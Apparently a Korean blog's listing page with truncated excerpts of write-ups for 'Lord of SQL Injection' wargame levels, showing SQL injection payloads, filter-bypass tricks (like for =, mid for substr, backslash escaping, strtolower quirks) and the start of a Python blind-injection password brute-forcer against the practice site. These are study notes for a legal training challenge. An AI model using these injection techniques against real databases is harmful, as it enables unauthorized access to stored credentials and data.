LoadofSQLinjection 13

[Load of SQL Injection] zombie assassin

1. strrev() 문자열을 입력받아서 순서를 뒤집은 상태로 리턴하는 함수 strrev('123456') --> '654321' 2. 필터링 문자들 prob _ . () 이전 문제를 다시 사용하면 될 거 같다. 이전글 --> https://sh1256.tistory.com/72 [Load of SQL Injection] succubus 1. 필터링 prob _ . () 처음에 \(\)를 \\뜻으로 보고 1시간 넘게 못 풀었던...ㅜㅠ 이런 실수는 하지 맙시다 ㅎ 더보기 where id='\' and pw='or 1#' --> where id='\' and pw='or 1 # ' --> 특수문자 앞에 '\'를.. sh1256.tistory.com 3. strrev()와 addslashes()를 고려해서 ..

[Load of SQL Injection] succubus

1. 필터링 prob _ . () 처음에 \(\)를 \\뜻으로 보고 1시간 넘게 못 풀었던...ㅜㅠ 이런 실수는 하지 맙시다 ㅎ 더보기 where id='\' and pw='or 1#' --> where id='\' and pw='or 1#' --> 특수문자 앞에 '\'를 붙이면 특수문자는 문자로 취급한다. 이 점을 이용해서 공격 시도! select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)#' select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)#' URL + ?id..

[Load of SQL Injection] Assassin(SQL like wildkard)

문제를 보면 평소와 다르게 '='(등호)를 쓰지 않고 'like'를 쓰고 있다. 평소에 like는 '='의 우회 용도로만 썼던 터라 이게 뭔지 했지만 like 문법에 대해서 잠깐만이라도 검색해 보면 like에 와일드 카드가 있다는 것을 알 수 있다. SQL like 사용법, 문법, 와일드카드 % 문자가 없거나, 한 글자 이상의 문자열 (ex: (공백), a, asdfsdf~) _ 한 글자의 문자 (ex: a, b, 1) 5% 5로 시작하는 문자열 (ex: 5, 5dsdf~) %5 5로 끝나는 문자열 (ex: 5, dsdf~5) _5% 두번째 자리가 5인 문자열 (ex: 25, 85ieds) _2_5% 두번째 자리가 2, 네번째 자리가 5인 문자열 (ex: 6245, i2u5wis~) ______(언더바 ..

[Load of SQL Injection] dark knight

-참: URL + ?pw=1&&no=1 or (1 like 1) --> Hello guest 나타남 거짓: URL + ?pw=1&&no=1 or (1 like 2) 길이 알아내기+ pw 알아내기 시도 Hello admin이 나올 때 참!! import requests cookies={'PHPSESSID':'쿠키값'} url ="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&&no=1 or " length=8#hash는 17자리 for i in range(1, 30): length_srch=f"(length(pw) like {i})" print("length_srch: "+length_srch) respons..

[Load of SQL Injection] Golem

-참일 때 ?pw=1'||'1' like '1' %23 -거짓일 때 ?pw=1'||'1' like '2' %23 1. 필터링 우회하기 1. '='(등호)는 like 로 대체가능 2. substr()는 mid()로 대체가능 2. pw 길이 알아내기 ?pw=1'||length(pw) like 8 %23 select id from prob_golem where id='guest' and pw='1'||length(pw) like 8 #' --> Hello admin 출력 --> 참 따라서 pw의 길이는 8 2. pw 알아내기 ?pw=1'||mid(pw, n, 1) like '? --> python 사용 import requests cookies={'PHPSESSID':'쿠키값'} url ="https://lo..

[Load of SQL Injection] vampire

필터링 1. '(홑따음표) 2. 대문자를 소문자로 바꿔주는 strtolower() 함수 3. str_replace()함수 먼저 strtolower()함수의 취약점을 찾아보았다. strtolower()를 사용할 때 %c4%b0을 입력하면 i로 바뀐다고한다. 그래서 adm%c4%b0n을 입력해 줬더니, 이상한 i가 등장...? 안되겠다 싶어서 str_replace함수를 공략했다. str_replace(문자열1, 문자열2, 문자열3) str_replace( 1번째 인수 : 변경대상 문자 2번째 인수 : 변경하려는 문자 3번째 인수 : 변수, replace가 바꾸고자 하는 문자열(변수수) ) ex) result=str_replace("love", "hate", "I love you") result 값은 "I h..